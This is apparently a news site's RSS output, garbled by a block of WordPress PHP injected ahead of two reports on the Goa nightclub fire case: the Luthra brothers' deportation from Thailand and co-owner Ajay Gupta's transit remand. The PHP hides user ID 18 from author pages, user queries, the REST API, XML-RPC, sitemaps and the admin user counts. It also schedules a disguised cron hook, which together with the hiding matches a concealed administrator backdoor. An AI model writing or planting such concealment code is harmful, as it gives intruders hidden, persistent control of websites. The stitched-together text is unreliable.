add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Goa Nightclub Fire Case: Owners Gaurav and Saurabh Luthra Deported from Thailand, Taken into Custody appeared first on The Edge Media.
]]>Sources indicated that the accused will be produced before a Delhi court in the coming days. The December 6 blaze at the Birch by Romeo Lane nightclub in Arpora, North Goa, triggered widespread outrage and raised serious concerns over alleged fire safety violations and lapses by the management.
Investigators have registered a case of culpable homicide and negligence against the brothers, Gaurav Luthra, aged 44, and Saurabh Luthra, aged 40.
According to the probe, the nightclub was allegedly operating in breach of mandatory safety norms, which significantly contributed to the scale of the tragedy.
The deportation followed their detention in Phuket on December 11, after the Indian mission coordinated closely with Thai authorities. The Indian government had cancelled the passports of the two brothers and submitted a detailed dossier to Thailand, formally seeking their deportation in connection with the deaths.
An Interpol Blue Corner Notice was also issued against the Luthra brothers after they allegedly left India shortly after the incident. Meanwhile, Goa Police has already arrested five managers and staff members of the nightclub, with officials indicating that further arrests are possible as the investigation progresses.
In a related development, the Bombay High Court on Monday converted a civil suit against Birch by Romeo Lane into a public interest litigation, observing that “someone has to be held accountable” for the tragic loss of lives.
India and Thailand share an Extradition Treaty signed in 2013, which came into force in June 2015, providing the legal framework for cooperation in such cases.
The post Goa Nightclub Fire Case: Owners Gaurav and Saurabh Luthra Deported from Thailand, Taken into Custody appeared first on The Edge Media.
]]>The post Delhi Court Grants Goa Police 36-Hour Transit Remand of Nightclub Co-owner Ajay Gupta appeared first on The Edge Media.
]]>Gupta had been detained in Delhi for questioning regarding the incident, and was produced before Additional Chief Judicial Magistrate Vinod Joshi, who approved the police request for transit remand.
The court acknowledged the ongoing air travel disruptions caused by widespread IndiGo flight cancellations while allowing the transfer period.
The judge also instructed authorities to ensure that Gupta receives appropriate medical attention during custody, noting his spinal injury and other health-related issues.
Goa Police had previously issued a Look Out Circular (LOC) for Gupta after a search at his Delhi residence proved unsuccessful. A senior officer confirmed that Gupta was later located and detained in the capital, and that he will be formally arrested once he is brought to Goa.
Two of the nightclub’s main owners, Saurabh Luthra and Gaurav Luthra, are suspected to have escaped to Phuket, Thailand, shortly after the tragic incident. Authorities have secured an Interpol Blue Corner Notice to help trace them. Another co-owner, British national Surinder Kumar Khosla, is also under an LOC.
Meanwhile, police have arrested five individuals connected to the nightclub’s operations: chief general manager Rajiv Modak, general manager Vivek Singh, bar manager Rajiv Singhania, gate manager Riyanshu Thakur and staff member Bharat Kohli.
The fire, which broke out around midnight on December 6 at the Arpora-based nightclub in North Goa, resulted in the deaths of 25 people and triggered a large-scale investigation into safety and management lapses.
The post Delhi Court Grants Goa Police 36-Hour Transit Remand of Nightclub Co-owner Ajay Gupta appeared first on The Edge Media.
]]>